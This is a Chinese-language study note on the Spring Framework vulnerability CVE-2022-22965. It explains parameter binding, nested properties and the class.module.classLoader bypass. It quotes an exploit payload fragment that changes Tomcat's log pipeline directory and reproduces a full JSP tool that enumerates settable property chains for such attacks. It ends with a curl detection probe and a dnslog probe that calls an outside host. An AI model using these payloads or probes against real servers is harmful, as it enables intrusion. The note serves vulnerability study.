CVE-2022-22965 學習筆記
參考:
https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22965
什麼是javaBean,我的理解是MVC開發模式中處於Moudel層的類可以稱為一個javabean,就像下面這樣的,他們的屬性都是private但是可以通過getter和setter方法進行獲取和修改
public class Person { private String name; private Integer age; public Person() { }public String getName() { return this.name; } public void setName(String name) { this.name = name; } public Integer getAge() { return this.age; } public void setAge(Integer age) { this.age = age; } }
下面說明什麼是spring的“引數繫結”,“引數繫結”簡單理解就是,傳入的引數怎麼給到controller層去自動處理不需要做出多餘的操作,舉個例子:
外部傳入引數:hello/?name=timerzz&age=233,後端接收到了這個資料怎麼處理?
不使用引數繫結是這樣的(虛擬碼)
name = req.getParamter("name");
age = req.getParamter("age");
如果傳了100個引數,那就要寫100行類似的程式碼來接受!這顯然不科學,但有了引數繫結後,後端的接收程式碼就變成了這樣,這時候傳入的name=timerzz&age=233,會“自己”呼叫Person的setter方法完成相關屬性的賦值
@GetMapping({"/hello"}) public String index(Person person) { System.out.println(person); System.out.println("name: " + person.getName()); System.out.println("age: " + person.getAge()); return "hello"; }
下面是引數繫結的過程(跟一遍就知道了)這裡給一個呼叫棧,測試環境:https://github.com/vulhub/vulhub/tree/master/base/spring/spring-webmv
上面為了流程簡化,傳入的是一個單獨的屬性,少了幾個棧幀,這和我們熟知的payload長得不太一樣,但是這樣更方便理解
下面開始正題,傳入class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT為啥可以?
根據上面說的,我們傳入的key=value鍵值對,呼叫的是setter方法,但是我們明明沒有class.module.classLoader.resources.context.parent.pipeline.first.directory這個屬性啊,我們只有name和age
這裡有兩個知識點:
- java類自帶一個class屬性,他們都有getClass()方法,返回的的就是一個Class物件,
- springmvc巢狀屬性的引數繫結,大致過程描述一下:person.name=timerzz,這樣的單一引數繫結呼叫的是person.setName(),像person.parent.name這樣的,屬性裡套屬性的稱為巢狀屬性,person.parent.name=xxx為的是給name賦值,呼叫的就是person.getParent().setName(),簡單理解就是為name賦值,但是前面有一個很長的字首,這些字首裡的屬性用getter獲取就好了。
巢狀屬性是通過如下遞迴呼叫獲得的org/springframework/beans/AbstractNestablePropertyAccessor.java#getPropertyAccessorForPropertyPath感興趣可以跟一下,就像上面說的,反正最後都是給name賦值,管他字首多長(當然這個前提是這個屬性得存在)
有了上面兩點,回頭看看payload,我們可以傳入一個class(pojo物件有這個屬性)然後呼叫他的getClassLoader獲得一個classLoader,向上轉型獲得父載入器的ClassLoader(tomcat相關的配置屬性存放的classLoader org.apache.catalina.loader.ParallelWebappClassLoader),從而改變一些全域性的屬性,比如上面的class.module.classLoader.resources.context.parent.pipeline.first.directory
最後就是jdk版本的問題,因為jdk9以前過濾了class.classloader,而jdk9以後加入了一個module屬性它可以呼叫getClassLoder,從而繞過了當初的過濾程式碼,如下:
tomcat還有其他很多巢狀屬性,獲取巢狀屬性的方式:
<!-- This PoC gives a list of payloads that can be used to modify data in the context of a Struts web application that is vulnerable to CVE-2014-0094 or CVE-2014-0114. The results depend on the container that executes the application. Is a customized version for the PoC posted by "neobyte" at http://sec.baidu.com/index.php?research/detail/id/18 Instructions: 1.- Modify the imports to match the actions of your Struts application 2.- In main modify the initarget to match an Action / ActionForm of your Struts app 3.- Add the JSP to your Struts app 4.- Deploy your app in an application server 5.- Access the JSP with a browser 5.1.- Add "debug=true" to the parameters for getting debug info 5.2.- Add "cmd=[all|allp|meth]" to run one of the alternative commands, useful when looking for RCE 5.3.- Add "poc=" + with a chain of previously called getters to reach current object --> <!-- Struts 2.x example --> <!-- Import the class of the initarget Action --> <%@ page language="java" import= "java.lang.reflect.*, com.timerzz.controller.*" %> <%@ page import="com.timerzz.model.Person" %> <!-- Struts 1.x example --> <!-- Import the class of the initarget ActionForm --> <%--@ page language="java" import= "java.lang.reflect.*, com.vaannila.*" --%> <%! /* Find all the "set" methods that accept exactly one parameter (String, ** boolean or int) in the given Object, or in Objects that can be reached via ** "get" methods (without parameters) in a recursive way ** ** Params: ** - Object instance : Object to process ** - javax.servlet.jsp.JspWriter out : Where the results will be printed ** - java.util.HashSet set : Set of previously processed Objects ** - String poc : Chain of previously called getters to reach current object ** - int level : Current level of recursion ** - boolean debug: print extra debug information for candidates */ public void processClass( Object instance, javax.servlet.jsp.JspWriter out, java.util.HashSet set, String poc, int level, boolean debug) { try { if (++level > 15) { return; } Class<?> c = instance.getClass(); set.add(instance); Method[] allMethods = c.getMethods(); /* Print all set methods that match the desired properties: ** - exactly 1 parameter (String, boolean or int) ** - public modifier */ for (Method m : allMethods) { if (!m.getName().startsWith("set")) { continue; } if (!m.toGenericString().startsWith("public")) { continue; } Class<?>[] pType = m.getParameterTypes(); if(pType.length!=1) continue; if(pType[0].getName().equals("java.lang.String") || pType[0].getName().equals("boolean") || pType[0].getName().equals("int")) { String fieldName = m.getName().substring(3,4).toLowerCase() + m.getName().substring(4); /* Print the chain of getters plus the candidate setter in a ** format that can be directly used as a PoC for the Struts ** vulnerability. Also print the fqdn class name of the ** current Object if debug mode is 'on'. */ if (debug) { out.print("-------------------------" + c.getName() + "<br>"); out.print("Candidate: " + poc + "." + fieldName + "<br>"); } else { out.print(poc + "." + fieldName + "<br>"); } out.flush(); } } /* Call recursively the current function against (not yet processed) ** Objects that can be reached using public get methods of the current ** Object (without parameters) */ for (Method m : allMethods) { if (!m.getName().startsWith("get")) { continue; } if (!m.toGenericString().startsWith("public")) { continue; } Class<?>[] pType = m.getParameterTypes(); if(pType.length!=0) continue; if(m.getReturnType() == Void.TYPE) continue; /* In case of problems with reflection use ** m.setAccessible(true); */ Object o = m.invoke(instance); if(o!=null) { if(set.contains(o)) continue; processClass(o,out, set, poc + "." + m.getName().substring(3,4).toLowerCase() + m.getName().substring(4), level, debug); } } } catch (java.io.IOException x) { x.printStackTrace(); } catch (java.lang.IllegalAccessException x) { x.printStackTrace(); } catch (java.lang.reflect.InvocationTargetException x) { x.printStackTrace(); } } /* ** Print all the method names of a given Object */ public void printAllMethodsNames( Object instance, javax.servlet.jsp.JspWriter out) throws Exception { Method[] allMethods = instance.getClass().getMethods(); for (Method m : allMethods) { out.print(m.getName() + "<br>"); } } /* Print all the method names of a given Object and the number of parameters ** that it has */ public void printAllMethodsWithNumParams( Object instance, javax.servlet.jsp.JspWriter out) throws Exception { Method[] allMethods = instance.getClass().getMethods(); for (Method m : allMethods) { Class<?>[] pType = m.getParameterTypes(); out.print("Method: " + m.getName() + " with " + pType.length + " parameters<br>"); } } /* Print the "set" methods that accept exactly one parameter (String, ** boolean or int) and the "get" methods (without parameters) in the given ** Object */ public void printMethods( Object instance, javax.servlet.jsp.JspWriter out) throws Exception { Method[] allMethods = instance.getClass().getMethods(); for (Method m : allMethods) { Class<?>[] pType = m.getParameterTypes(); if(m.getName().startsWith("get") && m.toGenericString().startsWith("public")) { Class<?> returnType = m.getReturnType(); if(pType.length == 0) { out.print("GET method: " + m.getName() + " of class" + instance.getClass().getName() + " returns " + returnType.getName() + "<br>"); } } if(m.getName().startsWith("set") && m.toGenericString().startsWith("public")) { if((pType.length == 1) && (pType[0].getName().equals("java.lang.String") || pType[0].getName().equals("boolean") || pType[0].getName().equals("int"))) { out.print("SET method: " + m.getName() + " of class" + instance.getClass().getName() + " with param " + pType[0].getName() + "<br>"); } } } } /* Return the Object that results of resolving the chain of getters described ** by the "poc" parameter */ public Object applyGetChain( Object initarget, String poc) throws Exception { if(poc.equals("")) { return initarget; } String[] parts = poc.split("\\."); String method = "get" + parts[0].substring(0,1).toUpperCase(); if(parts[0].length() > 1) { method += parts[0].substring(1); } Class<?> c = initarget.getClass(); Method m = c.getMethod(method, null); /* In case of problems with reflection use ** m.setAccessible(true); */ Object o = m.invoke(initarget); if(parts.length == 1) { return o; } String newPoc = parts[1]; for(int i=2; i<parts.length; i++) { newPoc.concat("." + parts[i]); } return applyGetChain(o, newPoc); } %> <% /* ** MAIN METHOD */ java.util.HashSet set = new java.util.HashSet<Object>(); String pocParam = request.getParameter("poc"); String poc = (pocParam != null) ? pocParam : ""; // Struts 2.x Action Person initarget = new Person(); // **********修改為pojo物件********* // Struts 1.x ActionForm //LoginForm initarget = new LoginForm(); // Get the target Object as described by poc Object target = applyGetChain(initarget, poc); // Check for debug mode String mode = request.getParameter("debug"); boolean debug = false; if((mode != null) && (mode.equalsIgnoreCase("true"))) { debug = true; } // Switch the command to be executed String cmd = request.getParameter("cmd"); if(cmd != null) { if(cmd.equalsIgnoreCase("all")) { printAllMethodsNames(target, out); } else if(cmd.equalsIgnoreCase("allp")) { printAllMethodsWithNumParams(target, out); } else if(cmd.equalsIgnoreCase("meth")) { printMethods(target, out); } else { processClass(target, out, set, poc, 0, debug); } } else { processClass(target, out, set, poc, 0, debug); } %>
網傳還有其他利用方式,比如:
無損檢測:
curl host:port/path?class.module.classLoader.URLs%5B0%5D=0 # 返回400漏洞存在
探測dnslog(會影響業務,不推薦)
class.module.classLoader.resources.context.configFile=http://xxx x.dnslog.cn/t&class.module.classLoader.resources.context.configF ile.content.aaa=xxx
最後spring官方也說了,目前還不清楚其他的伺服器是否存在類似的漏洞……有待挖掘,現在還有個問題是payload特徵很明顯!